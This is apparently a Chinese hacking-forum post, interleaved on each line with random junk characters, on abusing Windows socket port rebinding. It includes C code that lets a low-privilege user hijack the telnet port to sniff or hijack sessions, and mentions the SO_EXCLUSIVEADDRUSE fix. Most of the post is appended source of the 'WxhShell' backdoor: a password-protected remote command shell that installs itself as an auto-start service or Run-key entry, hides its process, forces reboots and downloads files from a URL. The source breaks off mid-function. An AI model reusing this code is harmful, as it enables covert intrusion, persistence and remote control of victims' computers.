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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <#u=[_H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <4g{ fT0  
f-`)^5E  
  saddr.sin_family = AF_INET; uYs5f.! `  
#0P$M!%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); noml8o  
x"gd8j]s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @ W[f1  
j)/nKh4O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #/Vh|UeX  
PE3vQH=t~  
  这意味着什么?意味着可以进行如下的攻击: mR?5G: W~R  
9NQlI1W z4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5#+^E{  
S/e2P|}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C(#u[8  
%}Ss,XJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0;AA/  
?&63#B,iZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /tf5Bv'<  
CzRc%%BA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hog=ut  
8o'_`{ba  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :+z4~% jA  
l0PZ`m+;j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;h*K}U  
C1m]*}U  
  #include I+[>I=ewa  
  #include T>2[=J8U  
  #include X[&Wkr8x '  
  #include    ymx>i~>7J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,^w?6?,&l}  
  int main() iw8yb;|z;A  
  { _/6!yyl  
  WORD wVersionRequested; zxbpEJzpn  
  DWORD ret; MHX?@. v  
  WSADATA wsaData; i]6`LqlO  
  BOOL val; ->g*</  
  SOCKADDR_IN saddr; XINu=N(g  
  SOCKADDR_IN scaddr; g1W.mAA3B  
  int err; #><.oreXq  
  SOCKET s; ND>r#(_\  
  SOCKET sc; LYz.Ci}  
  int caddsize; lyy W  
  HANDLE mt; QgU8 s'e  
  DWORD tid;   \eT5flC  
  wVersionRequested = MAKEWORD( 2, 2 ); J;{N72  
  err = WSAStartup( wVersionRequested, &wsaData ); ]|zp0d=&o  
  if ( err != 0 ) { ER5gmmVP@p  
  printf("error!WSAStartup failed!\n"); `_`QxM  
  return -1; `.FF!P:{C*  
  } f78An 8  
  saddr.sin_family = AF_INET; >0p h9$  
   Mn2QZp4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .!$*:4ok  
s;S?;(QI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XWS%zLaK  
  saddr.sin_port = htons(23); uW@oyZUj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zQ@I}K t  
  { w$z}r  
  printf("error!socket failed!\n"); {|&5_][  
  return -1; (Pf+0,2  
  } rV R1wsaL  
  val = TRUE; A: 5x|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5Iy;oZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K]s[5  
  { C":32_q  
  printf("error!setsockopt failed!\n"); JEahGzO  
  return -1; F+ ,~v-  
  } } z _  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PE}:ybsX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l_P-j 96WD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {*0<T|<n  
G7qG$wd8h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Xm%D><CC8"  
  { C&*oI =6  
  ret=GetLastError(); juka0/  
  printf("error!bind failed!\n"); pQ=>.JU  
  return -1; @z4*.S&tz  
  } 544X1Ww2  
  listen(s,2); }XV+gyG=@  
  while(1) #(#Wv?r6  
  { )Dw,q~xgg0  
  caddsize = sizeof(scaddr); 8\^}~s$$A  
  //接受连接请求 V5sg#|&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tyXuG<  
  if(sc!=INVALID_SOCKET) 4C<j dv_J  
  { WN?O'E=2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Rot@x r7Hc  
  if(mt==NULL) kP#B5K_U|  
  { cZB7fmq%  
  printf("Thread Creat Failed!\n"); ewa wL"  
  break; -(bXSBs#  
  } 7'Zky2F  
  } -+ SF  
  CloseHandle(mt); - }7e:!.  
  } QDs^Ije  
  closesocket(s); Z:,U]Z(  
  WSACleanup(); F(k.,0Nc  
  return 0; !MYSfPdS  
  }   hAYTj0GZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) T (OW  
  { v, n$^R  
  SOCKET ss = (SOCKET)lpParam; /<@SFF.  
  SOCKET sc; *c~T@m~DR  
  unsigned char buf[4096]; a`&f  
  SOCKADDR_IN saddr; @R/07&lBR  
  long num; {sihus#Q  
  DWORD val; QMa;Gy  
  DWORD ret; k. MUdU^  
  //如果是隐藏端口应用的话,可以在此处加一些判断  tBq nf v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pm*xb]8y  
  saddr.sin_family = AF_INET; #MX'^RZ>2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =|M>l  
  saddr.sin_port = htons(23); o<<xY<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1rv)&tKs  
  { ])|d"[ur=  
  printf("error!socket failed!\n"); %_+2@\  
  return -1; M9V q -U18  
  } rR9|6l 3  
  val = 100; "uuVy$6C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) so"$m  
  { 9o;^[Ql-  
  ret = GetLastError(); _,xc[ 07  
  return -1; QrB@cK]  
  } =Z P%mW&;}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S4^vpY DeN  
  { mL{B!Q  
  ret = GetLastError(); xC*6vH]?  
  return -1; T*#/^%HSG  
  } @ zs'Y8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^T ?RK "p  
  { U]^HjfX\  
  printf("error!socket connect failed!\n"); 8TGOx%}i  
  closesocket(sc); DF1I[b=]  
  closesocket(ss); SH_(rQby  
  return -1; zm]aU`j  
  } /tP|b _7O  
  while(1) ^* J2'X38I  
  { S0~2{ G"v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i=i(%yQ%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v@Gl|29_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "} q@Y=  
  num = recv(ss,buf,4096,0); f|h|q_<;  
  if(num>0) :n0vQ5a  
  send(sc,buf,num,0); h\5OrD@L  
  else if(num==0) ln?v j)j  
  break; ;'5>q&[qbP  
  num = recv(sc,buf,4096,0); 8Eakif0CO  
  if(num>0) ;pqg/>W'  
  send(ss,buf,num,0); 12;8o<~  
  else if(num==0) 2_n7=&  
  break; lz YEx  
  } ,_Z5m;  
  closesocket(ss); A*2  bA  
  closesocket(sc); &>%T^Y|J4  
  return 0 ; SnE(o)Q  
  } @\|_  
R_sr?V|"  
6^]!gR#B  
========================================================== E"+QJ~!  
Svondc 4  
下边附上一个代码,,WXhSHELL LXbP 2  
4*Q#0`um  
========================================================== ^.1c{0Y^0  
0Uo\wyd  
#include "stdafx.h" J 4Nln  
AWP"b?^G|  
#include <stdio.h> ]|MEx{BG-  
#include <string.h> }emN9Rj  
#include <windows.h> 2 $?C7(kW  
#include <winsock2.h> f !s=(H;  
#include <winsvc.h> Zb1<:[  
#include <urlmon.h> q:dHC,fO  
Z8rvWH9  
#pragma comment (lib, "Ws2_32.lib") Q$HG  
#pragma comment (lib, "urlmon.lib") &;D8]7d  
I_<I&{N>  
#define MAX_USER   100 // 最大客户端连接数 lTd #bN  
#define BUF_SOCK   200 // sock buffer x 7~r,x(xM  
#define KEY_BUFF   255 // 输入 buffer rW+ =,L  
7g%E`3)"  
#define REBOOT     0   // 重启 Z?%zgqTXb  
#define SHUTDOWN   1   // 关机 `&D|>tiz  
(vb SM}P  
#define DEF_PORT   5000 // 监听端口 }o L'8-y  
q OSM}ei>s  
#define REG_LEN     16   // 注册表键长度 QV {}K  
#define SVC_LEN     80   // NT服务名长度 K{[%7AM  
4<% *E{`  
// 从dll定义API nq6@6GRG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QlJ)F{R8il  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yp$_/p O=2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xn5l0'2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /Y'Vh^9/T  
KO]T<R h<  
// wxhshell配置信息 eu(:`uu  
struct WSCFG { }HY-uQ%@g  
  int ws_port;         // 监听端口 w+yC)Rmz  
  char ws_passstr[REG_LEN]; // 口令 Cq'KoN%nQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no _>| =L W@7  
  char ws_regname[REG_LEN]; // 注册表键名 R~)\3] "2m  
  char ws_svcname[REG_LEN]; // 服务名 %@.v2 cT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kg'o&^/=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {vuZ{I Ja  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KU8J bl*   
int ws_downexe;       // 下载执行标记, 1=yes 0=no E=>FjCsu<-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .ox8*OO<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hnDBFQ{  
[/Rf\T(,jn  
}; -F<Wd/Xse  
89o/F+_b  
// default Wxhshell configuration NdzSz]q}  
struct WSCFG wscfg={DEF_PORT, ;`^WGS(3.%  
    "xuhuanlingzhe", kP-3"ACG  
    1, 7PtN?;rP  
    "Wxhshell", ;\=M; Zt  
    "Wxhshell", [N/"5 [  
            "WxhShell Service", 4|CtRF<L  
    "Wrsky Windows CmdShell Service", %`r?c<P}  
    "Please Input Your Password: ", N7O-2Z *  
  1, Cn "s` q  
  "http://www.wrsky.com/wxhshell.exe", 1(|'WyD  
  "Wxhshell.exe" (H ->IV  
    }; PK0%g$0  
ie2WL\tR4  
// 消息定义模块 b)=[1g/=L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mdl{}P0)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eA#;AQm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T3k#VNH  
char *msg_ws_ext="\n\rExit."; vvKEv/pN7  
char *msg_ws_end="\n\rQuit."; Y?(r3E^x  
char *msg_ws_boot="\n\rReboot..."; iZM+JqfU|D  
char *msg_ws_poff="\n\rShutdown..."; ><gG8MH0'  
char *msg_ws_down="\n\rSave to "; QNpqdwu%h  
bT^I"  
char *msg_ws_err="\n\rErr!"; %?p1d!  
char *msg_ws_ok="\n\rOK!"; ~v6OsH%vx  
4:r!|PJn{G  
char ExeFile[MAX_PATH]; HbXPok  
int nUser = 0; EUN81F?  
HANDLE handles[MAX_USER]; $shoasSuI  
int OsIsNt; :9^;Qv*  
&(xH$htv1  
SERVICE_STATUS       serviceStatus; i 7x7xtq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L{h%f4Du#  
A29gz:F(  
// 函数声明 |j#C|V%kV  
int Install(void); xwJH(_-  
int Uninstall(void);  :}@g6   
int DownloadFile(char *sURL, SOCKET wsh); _Ou WB"  
int Boot(int flag);  Kfh|  
void HideProc(void); :'~ Y  
int GetOsVer(void); ( 5tvfz%  
int Wxhshell(SOCKET wsl); L5 veX}  
void TalkWithClient(void *cs); 6~1|qEe6I  
int CmdShell(SOCKET sock); o1FF"tLkN  
int StartFromService(void); gx\&_) w N  
int StartWxhshell(LPSTR lpCmdLine); Il= W,/y  
)u/yF*:n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6^%68N1k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XqW@rU  
Aq0S-HKF  
// 数据结构和表定义 Gu2P\I2zx  
SERVICE_TABLE_ENTRY DispatchTable[] = & 8l%T'gd  
{ e S<lwA_  
{wscfg.ws_svcname, NTServiceMain}, n&-qaoNl  
{NULL, NULL} 3b+d"`Y^S  
}; iVy7elT;R  
V`bi&1?6\  
// 自我安装 5A sP5  
int Install(void) ^(|vsFzn  
{ ,'p2v)p^4  
  char svExeFile[MAX_PATH]; \H=&`?  
  HKEY key; !+L/Khw/ C  
  strcpy(svExeFile,ExeFile); ]y,==1To  
?i06f,-  
// 如果是win9x系统,修改注册表设为自启动 `eIenA  
if(!OsIsNt) { rmE"rf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @> E2?CV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 11<KpxKpk  
  RegCloseKey(key); Bh=u|8yxc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }T%}wdj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4*e0 hWp  
  RegCloseKey(key); 1rkE yh??  
  return 0; B:!W$ <  
    } Z(Bp 0a  
  } V{^!BBQ  
} V??dYB(  
else { u"d~!j1  
89wU-Aggq  
// 如果是NT以上系统,安装为系统服务 oE(7v7iY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }MHCd)78b  
if (schSCManager!=0) L7V G`h;  
{ \>7^f 3m  
  SC_HANDLE schService = CreateService O }(VlR2  
  ( UmQ?rS8d  
  schSCManager, 6bBB/yd  
  wscfg.ws_svcname, t=-SH^$SR  
  wscfg.ws_svcdisp, |=$-Wu  
  SERVICE_ALL_ACCESS, +eX@U;J,g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qeL5D*  
  SERVICE_AUTO_START, V\^EfQ  
  SERVICE_ERROR_NORMAL, .R9IL-3fO  
  svExeFile, ~fT_8z  
  NULL, pb$~b\s]=  
  NULL, qU#BJON]BR  
  NULL, v7DE  
  NULL, _ B 5gR  
  NULL OujCb^Rm  
  ); 'rr^2d]`ST  
  if (schService!=0) il \$@Bn  
  { hNd}Y'%V  
  CloseServiceHandle(schService); 6Qx#%,U^ J  
  CloseServiceHandle(schSCManager); T`Mf]s)*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^9 ePfF)5  
  strcat(svExeFile,wscfg.ws_svcname); ;uW}`Q<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tPGJ<30  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \l.-eu'O  
  RegCloseKey(key); vh*U]3@  
  return 0; 4qYUoCR&  
    } U )l,'y2  
  } e{v=MxO=S  
  CloseServiceHandle(schSCManager); Fm # w2o  
} JM\m)RH0  
} r%.do;5  
sRrzp=D  
return 1; hYM@?/(q  
} Q~j`YmR|  
9$|Gfyv  
// 自我卸载 ]- 4QNc=  
int Uninstall(void) ijdXU8  
{ <F.Tx$s  
  HKEY key; JGH60|  
DNj "SF(J  
if(!OsIsNt) { WN_pd%m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TW9WMId  
  RegDeleteValue(key,wscfg.ws_regname); 'I /aboDB  
  RegCloseKey(key); stk9Ah  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y;AL'vm9  
  RegDeleteValue(key,wscfg.ws_regname); H03jDM8Q  
  RegCloseKey(key); &ZX{R#[L  
  return 0; %B)6$!x  
  } IrWD%/$H  
} ^-[?#]  
} gW1b~( fD  
else { %0mMz.f  
[_.5RPJP8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mUz\ra;z  
if (schSCManager!=0) 6^c>,.R  
{ ^+m+zd_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i6 (a@KRY  
  if (schService!=0) ZU9c 5/J  
  { OKvPL=~  
  if(DeleteService(schService)!=0) { GKFq+]W  
  CloseServiceHandle(schService); 3RR_fmMT)  
  CloseServiceHandle(schSCManager); 1[t=XDz/e  
  return 0; U=o"32n+  
  } ^=^z1M 2P  
  CloseServiceHandle(schService); k!KDWb  
  } -~QHqU.  
  CloseServiceHandle(schSCManager); 8-Hsgf.*  
} )"m!YuS Y  
} pIKSs<IP  
FA }_(Hf.[  
return 1; {|yob4N  
} fz3 lV  
~35U]s@v  
// 从指定url下载文件 /2HN>{F^Y  
int DownloadFile(char *sURL, SOCKET wsh) Cc, `}SP  
{ %T[^D&9$,  
  HRESULT hr; =Odv8yhn  
char seps[]= "/"; 9Y<#=C  
char *token; C>[fB|^  
char *file; A,) VM9M_l  
char myURL[MAX_PATH]; >N?2""  
char myFILE[MAX_PATH]; yx<WSgWZ[  
XbZ*&  
strcpy(myURL,sURL); 60)iw4<wf  
  token=strtok(myURL,seps); hAjM1UQ,Y  
  while(token!=NULL) d)"?mD:m/M  
  { ;9}pOzF1q  
    file=token; 4ON_$FUe  
  token=strtok(NULL,seps); _%x4ty  
  } i]#+1Hf  
X2xuwA  
GetCurrentDirectory(MAX_PATH,myFILE); R3!@?mcr  
strcat(myFILE, "\\"); Cua%1]"4w  
strcat(myFILE, file); e[Jem5C  
  send(wsh,myFILE,strlen(myFILE),0); E3*\ ^Q_  
send(wsh,"...",3,0); ,~);EC=`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -dO'~all  
  if(hr==S_OK) N*@aDM07  
return 0; wHem5E  
else ;kJu$U  
return 1; 2Gs$?}"a  
hG_?8:W8HT  
} .y&QqxiE  
n 8pt\i0  
// 系统电源模块 ~WpGf,  
int Boot(int flag) eJo3 MK  
{ SgEBh  
  HANDLE hToken; tL+OCLF;  
  TOKEN_PRIVILEGES tkp; wO>L#"X^v  
:SsUdIX;P  
  if(OsIsNt) { 7E @+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c0Dmq)HK?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wfjc/u9W6R  
    tkp.PrivilegeCount = 1; }BmS )J q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q,2]5 '  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .Xdj(_&  
if(flag==REBOOT) { s ncIqsZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jkF8\dR  
  return 0; :EtMH(  
} TbehR:B5g  
else { )!Bd6-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D5an\gE  
  return 0; X{g%kf,D=  
} gLSA!#[ h  
  } $y?k[Y-~  
  else { G3G6IP  
if(flag==REBOOT) { '&;69`FSe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -[Qvg49jy  
  return 0; Xm4CKuU@  
} (#oycj^<  
else { ;_:Ool,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a0*2) uL}  
  return 0; 8:.nEo'  
} e2C<PGUUB  
} Ft@Wyo`^  
!%Y~~'5 h  
return 1; dxj*Q "K  
} ==cd>03()  
%o}(sShS  
// win9x进程隐藏模块 {NCF6M k  
void HideProc(void) s(_+!d6  
{ cW``M.d'F  
c[ht`!P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3g~^LZ66  
  if ( hKernel != NULL ) $iM=4 3W  
  { K"2|[5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Uw<&Wm`'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x>~p;z#VX  
    FreeLibrary(hKernel); SLhEc  
  } !D o,>gO  
@S 6u9v  
return; |8)Xc=Hz  
} I|/'Ds:  
@+_&Y]  
// 获取操作系统版本 8#` 6M5  
int GetOsVer(void) E:nt)Ef,  
{ oH2!5;A|  
  OSVERSIONINFO winfo; gZT)pP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _B,_4}  
  GetVersionEx(&winfo); [^~7]2i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eu'1H@vX(  
  return 1;  .~}z4r  
  else #yc L'T`X%  
  return 0; QT#6'>&7-b  
} G*\h\ @  
,kgF2K!  
// 客户端句柄模块 )uP[!LV[e  
int Wxhshell(SOCKET wsl) =w<v3wWN4  
{ _N3}gFh>  
  SOCKET wsh; 2*U.^]~"{  
  struct sockaddr_in client; 9YF$CXonE=  
  DWORD myID; s T3p>8n  
#3kXmeyrD  
  while(nUser<MAX_USER) 8G ]w,eF  
{ [$ :  
  int nSize=sizeof(client); e@F|NCQ.9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r-w2\2  
  if(wsh==INVALID_SOCKET) return 1; 2:$ k  
uG>nV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S)%_weLW7  
if(handles[nUser]==0) ad!(z[F'Y  
  closesocket(wsh); ,M3z!=oIGn  
else z#<P} }  
  nUser++; tiLu75vj  
  } uv4 _:   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eSl-9 ^  
GLKO]y  
  return 0; 2r ];V'r  
} 1h"_[`L'  
{aN(d3c  
// 关闭 socket SvK1.NUa  
void CloseIt(SOCKET wsh) H]&!'\aUz  
{ ;^l_i4A  
closesocket(wsh); w 7tC|^#G  
nUser--; |Vx~fKS\  
ExitThread(0); -O&"|   
} z^s ST  
,m07p~,V  
// 客户端请求句柄 S2$5!(P  
void TalkWithClient(void *cs) N_C_O$j  
{ <?$kI>Ot  
H?}wl%  
  SOCKET wsh=(SOCKET)cs; -Gsl[Rc0H;  
  char pwd[SVC_LEN]; j"<Y!Y3  
  char cmd[KEY_BUFF]; NcL =z o<  
char chr[1]; lVeH+"M?  
int i,j; ~SV Q;U)-  
/aUFc'5  
  while (nUser < MAX_USER) { Z|^MGyn  
CKTrZxR"  
if(wscfg.ws_passstr) { qmmv7==  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <<3+g"enno  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2ALj}  
  //ZeroMemory(pwd,KEY_BUFF); 7o{*Z  
      i=0; "@/ba!L+  
  while(i<SVC_LEN) { ]Sta]}VQ  
p[YWSjf  
  // 设置超时 wL<j:>Ke[3  
  fd_set FdRead; ~4s-S3YzaM  
  struct timeval TimeOut; a'[)9:  
  FD_ZERO(&FdRead); GhnE>d;i  
  FD_SET(wsh,&FdRead); j%M @#  
  TimeOut.tv_sec=8; L+Pc<U)T+  
  TimeOut.tv_usec=0; o`%I{?UCDJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kp_jy.e7&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }(=ml7)v  
GqjO>v fy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZBj6KqfST%  
  pwd=chr[0]; N^B@3QF  
  if(chr[0]==0xd || chr[0]==0xa) { Ea`OT+#h(*  
  pwd=0; i X/tt  
  break; L_*L`!vQA"  
  } ?@a$!_  
  i++; {v+a!#{c7  
    } i=Kvz4h  
u[t>Tg2R  
  // 如果是非法用户,关闭 socket y<r44a_!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); onzA7Gre  
} q[boWW  
ZA.fa0n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aBCOGtf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q<}PM  
d5, FM  
while(1) { 7l}~4dm2J  
n.;3X  
  ZeroMemory(cmd,KEY_BUFF); uAb 03Q  
A;%kl`~iyz  
      // 自动支持客户端 telnet标准   oWcACs3fB  
  j=0; T` ;k!F46  
  while(j<KEY_BUFF) {  3Vu8F"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CTU9~~Xk  
  cmd[j]=chr[0]; s<{GpWT8  
  if(chr[0]==0xa || chr[0]==0xd) { zMU68vwM  
  cmd[j]=0; pSrsp r  
  break; {@\/a  
  } A}eOR=E  
  j++; ocP*\NR  
    } ~}%&p& p  
NhtEW0xCr  
  // 下载文件 J_/05( 48  
  if(strstr(cmd,"http://")) { %EB;1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0HPO" x3-O  
  if(DownloadFile(cmd,wsh)) l-=e62I{=|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E<a.LW@  
  else 7h1"^}M&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M;@Ex`+?i  
  } | W?[,|e  
  else { ./!KE"!  
^=#!D[xj>  
    switch(cmd[0]) { q/J3cXa{K  
  (v|`LmV  
  // 帮助  f }-v  
  case '?': { o?=fhc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RD9Y k  
    break; u p~@?t2  
  } jhcuK:`L  
  // 安装 GsRt5?X/*  
  case 'i': { a?\ `  
    if(Install()) -~]^5aa5n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .6I%64m  
    else G%`cJdM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Y$VB%&Hy  
    break; W#Cq6N  
    } I9:%@g]uYw  
  // 卸载 Z[bv0Pr  
  case 'r': { ,m"l\jP  
    if(Uninstall()) " V/k<HRw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _6 /Qp`s  
    else R_~F6O^EO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C0f[eA  
    break; bF7`] 83  
    } $WM8tF?H  
  // 显示 wxhshell 所在路径 sK[Nti0  
  case 'p': { ?bCTLt7k  
    char svExeFile[MAX_PATH]; ]N_140N~  
    strcpy(svExeFile,"\n\r"); 95% :AQLV  
      strcat(svExeFile,ExeFile); X &09  
        send(wsh,svExeFile,strlen(svExeFile),0); aEZJNWv  
    break; p?KCVvx$  
    } @+Pf[J41  
  // 重启 R3cG<MjmK  
  case 'b': { $$/S8LmmK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  1dXh\r_n  
    if(Boot(REBOOT)) .>a$g7Rj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C!I\Gh  
    else { L;kyAX@^  
    closesocket(wsh); <|wmjW/ D  
    ExitThread(0);  MbM :3  
    } ),z,LU Yf  
    break; 2@4MC`&  
    } bv_AJ4gS  
  // 关机 r ufRaar  
